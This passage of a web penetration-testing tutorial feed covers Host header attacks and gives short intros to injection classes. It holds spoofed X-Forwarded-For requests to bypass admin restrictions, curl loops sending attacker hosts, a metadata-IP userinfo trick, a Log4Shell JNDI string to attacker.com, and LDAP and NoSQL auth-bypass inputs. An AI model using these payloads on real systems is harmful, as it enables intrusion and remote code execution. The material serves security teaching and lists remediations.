&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com:80@169.254.169.254  &lt;span style=&#34;color:#75715e&#34;&gt;# userinfo injection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;attack-6--x-forwarded-for-ip-bypass&#34;&gt;Attack 6 — X-Forwarded-For IP Bypass&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Bypass IP-based restrictions (admin panel requires 127.0.0.1):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-For: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Real-IP: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Originating-IP: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Client-IP: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;True-Client-IP: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /admin HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Forwarded: &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;127.0.0.1;by&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;127.0.0.1;host&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;target.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Bypass rate limits — change IP per request:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-For: 1.2.3.4    &lt;span style=&#34;color:#75715e&#34;&gt;# rotate through IPs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Forwarded-For: 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;tools&#34;&gt;Tools&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Burp Suite:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# - Proxy → all requests → add/modify Host header&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# - Repeater for manual testing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# - Param Miner extension (BApp): discovers unkeyed headers including Host variants&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# - Active Scan for Host header injection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Param Miner (Burp extension):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Right-click request → Extensions → Param Miner → Guess Headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Automatically discovers reflected/unkeyed headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# curl with custom Host:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Host: attacker.com&amp;#34;&lt;/span&gt; https://target.com/ | grep -i &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;attacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-Host: attacker.com&amp;#34;&lt;/span&gt; https://target.com/ | grep -i &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;attacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Check password reset email generation:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Use Burp Collaborator as Host value, trigger password reset,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# check Collaborator for incoming DNS/HTTP (confirms Host is used in email)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Test all override headers at once:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; header in &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-Host&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Host&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-HTTP-Host-Override&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-Server&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Original-Host&amp;#34;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Testing: &lt;/span&gt;$header&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  curl -s -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$header&lt;span style=&#34;color:#e6db74&#34;&gt;: attacker.oast.pro&amp;#34;&lt;/span&gt; https://target.com/ | &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    grep -i &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;attacker&amp;#34;&lt;/span&gt; | head -2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Collaborator-based detection:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Set Host to your Collaborator ID, trigger various actions,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# monitor for DNS/HTTP callbacks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;remediation-reference&#34;&gt;Remediation Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hardcode the expected hostname&lt;/strong&gt;: configure web framework with &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; (Django), &lt;code&gt;server_name&lt;/code&gt; (Nginx), &lt;code&gt;ServerName&lt;/code&gt; (Apache) — reject any other Host value&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never trust &lt;code&gt;X-Forwarded-Host&lt;/code&gt;&lt;/strong&gt; for URL generation unless behind a known trusted proxy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Generate absolute URLs from configuration&lt;/strong&gt;, not from the request&amp;rsquo;s Host header&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache key discipline&lt;/strong&gt;: ensure Host (and override headers) are either in cache key or stripped before caching&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP allowlist enforcement&lt;/strong&gt;: don&amp;rsquo;t rely solely on &lt;code&gt;X-Forwarded-For&lt;/code&gt; for IP-based access control — verify at network layer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password reset links&lt;/strong&gt;: use relative paths or server-configured base URL — never construct from Host header&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Part of the Web Application Penetration Testing Methodology series.&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTTP Header Injection / Response Splitting</title>
      <link>https://az0th.it/web/input/014-input-http-header-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/014-input-http-header-injection/</guid>
      <description>&lt;h1 id=&#34;http-header-injection--response-splitting&#34;&gt;HTTP Header Injection / Response Splitting&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-113, CWE-74
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-http-header-injection&#34;&gt;What Is HTTP Header Injection?&lt;/h2&gt;
&lt;p&gt;HTTP header injection occurs when user-controlled data is inserted into HTTP response headers without proper sanitization. CRLF sequences (&lt;code&gt;\r\n&lt;/code&gt; / &lt;code&gt;%0d%0a&lt;/code&gt;) terminate the current header and inject new ones — enabling &lt;strong&gt;response splitting&lt;/strong&gt;, &lt;strong&gt;cache poisoning&lt;/strong&gt;, &lt;strong&gt;session fixation&lt;/strong&gt;, and &lt;strong&gt;XSS&lt;/strong&gt; via injected HTML body.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Vulnerable redirect:
  Location: https://target.com/redirect?url=USER_INPUT

Injected input: attacker.com\r\nSet-Cookie: session=EVIL

Response becomes:
  HTTP/1.1 302 Found
  Location: https://target.com/redirect?url=attacker.com
  Set-Cookie: session=EVIL        ← injected new header
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Response Splitting&lt;/strong&gt; (HTTP/1.1): inject &lt;code&gt;\r\n\r\n&lt;/code&gt; to terminate headers and start injected body:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTTP Parameter Pollution (HPP)</title>
      <link>https://az0th.it/web/input/015-input-http-param-pollution/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/015-input-http-param-pollution/</guid>
      <description>&lt;h1 id=&#34;http-parameter-pollution-hpp&#34;&gt;HTTP Parameter Pollution (HPP)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium–High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-235, CWE-20
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection | A01:2021 – Broken Access Control&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-http-parameter-pollution&#34;&gt;What Is HTTP Parameter Pollution?&lt;/h2&gt;
&lt;p&gt;HTTP Parameter Pollution exploits the inconsistent behavior of web servers and application frameworks when handling &lt;strong&gt;duplicate parameter names&lt;/strong&gt; in HTTP requests. When &lt;code&gt;?id=1&amp;amp;id=2&lt;/code&gt; is received, different technologies resolve the conflict differently — and the attacker can exploit the gap between what the WAF/front-end sees and what the back-end application processes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>IMAP/SMTP Header Injection</title>
      <link>https://az0th.it/web/input/013-input-mail-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/013-input-mail-injection/</guid>
      <description>&lt;h1 id=&#34;imapsmtp-header-injection&#34;&gt;IMAP/SMTP Header Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium–High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-93, CWE-20
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-mail-injection&#34;&gt;What Is Mail Injection?&lt;/h2&gt;
&lt;p&gt;Mail injection occurs when user-controlled data is inserted into email headers (To, CC, BCC, Subject, From) or SMTP commands without sanitization. A CRLF sequence (&lt;code&gt;\r\n&lt;/code&gt;) in an email header terminates the current header and injects new headers — allowing attackers to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Add BCC recipients&lt;/strong&gt; — send to arbitrary addresses (spam amplification)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inject additional To/CC&lt;/strong&gt; — mass mailing abuse&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Override From&lt;/strong&gt; — phishing from trusted domain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inject SMTP commands&lt;/strong&gt; — in raw SMTP injection scenarios&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add arbitrary headers&lt;/strong&gt; — X-Mailer manipulation, content injection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;IMAP injection&lt;/strong&gt; targets IMAP protocol commands when user input is interpolated into IMAP queries (less common, covered in Phase 2).&lt;/p&gt;</description>
    </item>
    <item>
      <title>Integer Overflow, Type Juggling &amp; Type Confusion</title>
      <link>https://az0th.it/web/input/019-input-integer-type-juggling/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/019-input-integer-type-juggling/</guid>
      <description>&lt;h1 id=&#34;integer-overflow-type-juggling--type-confusion&#34;&gt;Integer Overflow, Type Juggling &amp;amp; Type Confusion&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium–Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-190, CWE-843, CWE-704
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection | A04:2021 – Insecure Design&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-are-these-vulnerabilities&#34;&gt;What Are These Vulnerabilities?&lt;/h2&gt;
&lt;p&gt;Three related but distinct classes of numeric/type confusion vulnerabilities in web applications:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Integer Overflow&lt;/strong&gt;: arithmetic wraps around when exceeding the integer type&amp;rsquo;s maximum value. Common in C extensions, Go, Rust FFI, and server-side quantity/price calculations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP Type Juggling&lt;/strong&gt;: PHP&amp;rsquo;s loose comparison (&lt;code&gt;==&lt;/code&gt;) coerces types before comparing — &lt;code&gt;&amp;quot;0e12345&amp;quot; == &amp;quot;0e67890&amp;quot;&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; (both are scientific notation for 0), &lt;code&gt;0 == &amp;quot;anything_non_numeric&amp;quot;&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; in PHP &amp;lt; 8, &lt;code&gt;&amp;quot;1&amp;quot; == true&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>LDAP Injection</title>
      <link>https://az0th.it/web/input/003-input-ldap-injection/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/003-input-ldap-injection/</guid>
      <description>&lt;h1 id=&#34;ldap-injection&#34;&gt;LDAP Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High–Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-90
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-ldap-injection&#34;&gt;What Is LDAP Injection?&lt;/h2&gt;
&lt;p&gt;LDAP (Lightweight Directory Access Protocol) is used for authentication and directory lookup in enterprise environments — Active Directory, OpenLDAP, Oracle Directory Server. LDAP injection occurs when user input is inserted into LDAP filter queries without sanitization, allowing filter logic manipulation.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;LDAP filter syntax:
  (&amp;amp;(uid=USERNAME)(password=PASSWORD))   ← AND: both must match

Injection:
  Username: admin)(&amp;amp;
  Filter becomes: (&amp;amp;(uid=admin)(&amp;amp;)(password=anything))
                             ↑ always-true subfilter → auth bypass
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two attack modes:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Log Injection &amp; Log4Shell Pattern</title>
      <link>https://az0th.it/web/input/012-input-log4shell/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/012-input-log4shell/</guid>
      <description>&lt;h1 id=&#34;log-injection--log4shell-pattern&#34;&gt;Log Injection &amp;amp; Log4Shell Pattern&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-117, CWE-74
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection | A06:2021 – Vulnerable and Outdated Components&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-log-injection--log4shell-pattern&#34;&gt;What Is Log Injection / Log4Shell Pattern?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Log Injection&lt;/strong&gt; — embedding control characters or escape sequences in log entries to corrupt log files, inject fake entries, or exploit log viewers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Log4Shell pattern&lt;/strong&gt; — when a logging library performs &lt;strong&gt;JNDI lookups&lt;/strong&gt; on log messages, attacker-controlled strings like &lt;code&gt;${jndi:ldap://attacker.com/x}&lt;/code&gt; trigger remote code execution. While Log4j2 was the major case, the JNDI injection pattern extends to &lt;strong&gt;any Java logging that interpolates log data&lt;/strong&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>NoSQL Injection</title>
      <link>https://az0th.it/web/input/002-input-nosqli/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/002-input-nosqli/</guid>
      <description>&lt;h1 id=&#34;nosql-injection&#34;&gt;NoSQL Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-943
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-nosql-injection&#34;&gt;What Is NoSQL Injection?&lt;/h2&gt;
&lt;p&gt;NoSQL databases (MongoDB, CouchDB, Redis, Cassandra, Elasticsearch) use query languages different from SQL — often JSON/BSON objects or key-value structures. Injection occurs when user input is interpreted as &lt;strong&gt;query operators&lt;/strong&gt; rather than data. MongoDB is the most commonly exploited.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;SQL analog:
  SELECT * FROM users WHERE user = &amp;#39;admin&amp;#39; AND pass = &amp;#39;INJECTED&amp;#39;;

MongoDB analog (operator injection):
  db.users.find({ user: &amp;#34;admin&amp;#34;, pass: {$gt: &amp;#34;&amp;#34;} })
  // $gt: &amp;#34;&amp;#34; → password &amp;gt; empty string → matches any non-empty password
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two main injection styles:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Open Redirect</title>
      <link>https://az0th.it/web/input/016-input-open-redirect/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/016-input-open-redirect/</guid>
      <description>&lt;h1 id=&#34;open-redirect&#34;&gt;Open Redirect&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Medium–High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-601
&lt;strong&gt;OWASP&lt;/strong&gt;: A01:2021 – Broken Access Control&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-open-redirect&#34;&gt;What Is Open Redirect?&lt;/h2&gt;
&lt;p&gt;An open redirect occurs when an application uses user-controlled input to construct a redirect URL without proper validation. Direct impact is limited (phishing), but open redirects are critical as &lt;strong&gt;chain links&lt;/strong&gt; for OAuth token theft, SSRF bypass, and CSP bypass.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;https://trusted.com/redirect?url=https://attacker.com/phishing
↑ User trusts trusted.com domain in URL bar → follows redirect → lands on attacker site
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;High-impact chains&lt;/strong&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>OS Command Injection</title>
      <link>https://az0th.it/web/input/006-input-cmdi/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/006-input-cmdi/</guid>
      <description>&lt;h1 id=&#34;os-command-injection&#34;&gt;OS Command Injection&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-78
&lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021 – Injection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-command-injection&#34;&gt;What Is Command Injection?&lt;/h2&gt;
&lt;p&gt;OS Command Injection occurs when an application passes &lt;strong&gt;user-controlled data to a system shell&lt;/strong&gt; (or equivalent OS execution function) without adequate sanitization. The attacker&amp;rsquo;s input is interpreted as shell commands rather than data — resulting in arbitrary code execution with the same privileges as the web server process.&lt;/p&gt;
&lt;p&gt;Even a single injectable parameter can result in full server compromise: credential harvesting, lateral movement, persistent access, data exfiltration.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reflected XSS: Bypass &amp; Encoding Arsenal</title>
      <link>https://az0th.it/web/input/020-input-xss-reflected/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/020-input-xss-reflected/</guid>
      <description>&lt;h1 id=&#34;reflected-xss-bypass--encoding-arsenal&#34;&gt;Reflected XSS: Bypass &amp;amp; Encoding Arsenal&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: High | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-79 | &lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021
&lt;strong&gt;Reference&lt;/strong&gt;: &lt;a href=&#34;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&#34;&gt;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;how-sanitization-works--read-this-first&#34;&gt;How Sanitization Works — Read This First&lt;/h2&gt;
&lt;p&gt;Before throwing payloads, understand what the filter does. Send this canary and read the raw response:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Probe: &amp;#39;&amp;lt;&amp;gt;&amp;#34;/;`&amp;amp;=(){}[]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Map each character:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Character&lt;/th&gt;
          &lt;th&gt;Encoded to&lt;/th&gt;
          &lt;th&gt;Filter type&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; → &lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;HTML encode&lt;/td&gt;
          &lt;td&gt;htmlspecialchars / HtmlEncode&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; → removed&lt;/td&gt;
          &lt;td&gt;Strip&lt;/td&gt;
